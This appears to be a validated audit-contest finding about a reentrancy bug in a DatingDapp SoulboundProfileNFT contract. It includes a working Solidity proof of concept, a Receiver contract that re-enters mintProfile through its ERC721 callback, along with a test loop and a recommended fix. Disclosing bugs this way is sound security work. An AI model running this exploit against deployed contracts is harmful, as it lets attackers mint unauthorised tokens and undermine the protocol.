DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy Vulnerability in SoulboundProfileNFT Contract Allows Minting Multiple NFTs

Summary

The SoulboundProfileNFT contract contains a reentrancy vulnerability that allows users to mint multiple NFTs. This issue arises because the mappings are updated after the minting process, and users can burn their own profile to mint a new one repeatedly. This allows users to bypass the restriction of having only one profile NFT.

Vulnerability Details

In the mintProfile function, the mappings profileToToken and _profiles are updated after the minting process. This allows a reentrancy attack where a user can mint multiple NFTs by burning their profile and minting a new one repeatedly.

Impact

  1. Denial of Service (DoS): If a malicious user mints all possible NFTs, new users will not be able to register, leading to a denial of service.

  2. Loss of Trust: The ability to mint multiple NFTs undermines the integrity of the platform and can lead to a loss of trust among users.

  3. Potential Financial Loss: The platform may suffer financial losses due to the exploitation of this vulnerability.

Tools Used

  • Manual code review

POC

1 - First create the contract that will receive the NFT's.

contract Receiver {
address victim;
constructor(address _victim) {
victim = _victim;
}
function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {
if (SoulboundProfileNFT(victim).balanceOf(address(this)) < type(uint256).max) {
try SoulboundProfileNFT(victim).mintProfile("Alice", 25, "ipfs://profileImage") {
return this.onERC721Received.selector;
} catch {
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
}
return this.onERC721Received.selector;
}
function attack() external {
try SoulboundProfileNFT(victim).burnProfile() {} catch {}
SoulboundProfileNFT(victim).mintProfile("Alice", 25, "ipfs://profileImage");
}
}

2 - Implement the following test function.

function testMintingMultipleTimes() external {
Receiver receiver = new Receiver(address(soulboundNFT));
uint256 amount = soulboundNFT.balanceOf(address(receiver));
while (amount < type(uint256).max && gasleft() > 10000) {
try receiver.attack() {} catch {}
amount = soulboundNFT.balanceOf(address(receiver));
}
assertEq(amount, 1, "Should mint only once");
}

3 - This test will fail because the assertion is not met. During testing, i successfully minted 8,691 NFTs, but this process can be repeated until all possible NFTs are minted.

Recommendations

  1. Use Reentrancy Guard: Implement a reentrancy guard to prevent reentrancy attacks. The OpenZeppelin ReentrancyGuard can be used for this purpose.

  2. Use CEI pattern: Update the mappings profileToToken and _profiles before the minting process to prevent reentrancy attacks.

    function mintProfile(string memory name, uint8 age, string memory profileImage) external {
    // Checks
    require(profileToToken[msg.sender] == 0, "Profile already exists");
    // Effects
    uint256 tokenId = ++_nextTokenId;
    _profiles[tokenId] = Profile(name, age, profileImage);
    profileToToken[msg.sender] = tokenId;
    // Interactions
    _safeMint(msg.sender, tokenId);
    // Store metadata on-chain
    emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
    }
Updates

Appeal created

n0kto Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.